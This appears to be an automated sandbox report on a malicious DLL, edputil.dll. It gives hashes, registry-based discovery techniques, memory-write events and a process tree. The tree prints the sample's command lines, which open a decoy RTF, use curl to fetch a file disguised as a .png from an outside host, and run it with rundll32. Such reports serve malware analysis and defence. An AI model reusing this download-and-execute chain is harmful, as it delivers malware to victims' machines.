c2071407cf960fa166ac47d86f4a92b64873cd8c37a4ea416e80488c5f327c8f

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2024, 18:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
edputil.dll
Size 95KB
Sample240306-xfr4lsfe26
SHA256 905a3a144f94a38ac6059759879caec19cff446b98c24bb2035b3293330e03b2
MD5 4b46474e51d8687190e4e539b6691f9a
SHA1 7f32b12ba975205e29b113a000dc87758e5deaf2
SHA512 85eafcdbdffc2ca88f89a7078664dfbd00356f1dc7d1de1848ec5c7e162748132834b8d59f0df658eb31a8640494ef8c309b005c628d871c5f52b84bb5d1f7e0
SSDEEP 1536:ebCgj6dJEkgOzOk3+oLGzFjO8n2dtkosu31Mv:RDzPJL2mXQ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1468	WINWORD.EXE
1468	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3652 wrote to memory of 1208	3652	rundll32.exe	87
PID 3652 wrote to memory of 1208	3652	rundll32.exe	87
PID 3652 wrote to memory of 432	3652	rundll32.exe	88
PID 3652 wrote to memory of 432	3652	rundll32.exe	88
PID 3652 wrote to memory of 2728	3652	rundll32.exe	89
PID 3652 wrote to memory of 2728	3652	rundll32.exe	89
PID 2728 wrote to memory of 3812	2728	cmd.exe	93
PID 2728 wrote to memory of 3812	2728	cmd.exe	93
PID 1208 wrote to memory of 1468	1208	cmd.exe	94
PID 1208 wrote to memory of 1468	1208	cmd.exe	94
PID 3652 wrote to memory of 2908	3652	rundll32.exe	108
PID 3652 wrote to memory of 2908	3652	rundll32.exe	108

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\edputil.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Windows\system32\cmd.exe
  cmd /c data\document.rtf
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\data\document.rtf" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:1468
- C:\Windows\system32\cmd.exe
  cmd.exe /c md c:\wnd
  2⤵
  PID:432
- C:\Windows\system32\cmd.exe
  cmd.exe /c curl.exe --output c:\wnd\3291.png --url https://yourunitedlaws.com/mrD/4462
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\curl.exe
    curl.exe --output c:\wnd\3291.png --url https://yourunitedlaws.com/mrD/4462
    3⤵
    PID:3812
- C:\Windows\system32\rundll32.exe
  rundll32 c:\wnd\3291.png,GetModuleProp
  2⤵
  PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1468-13-0x00007FF99D850000-0x00007FF99D860000-memory.dmp

Download

memory/1468-17-0x00007FF99D850000-0x00007FF99D860000-memory.dmp

Download

memory/1468-3-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-2-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-4-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-5-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-6-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-7-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-8-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-9-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-19-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-11-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-12-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-14-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-15-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-16-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-1-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-0-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-10-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-18-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-20-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-21-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-67-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-37-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-38-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-39-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-60-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-61-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-63-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-64-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-62-0x00007FF9A0070000-0x00007FF9A0080000-memory.dmp

Download

memory/1468-65-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/1468-66-0x00007FF9DFFF0000-0x00007FF9E01E5000-memory.dmp

Download

memory/3652-30-0x00007FF9D72E0000-0x00007FF9D7300000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads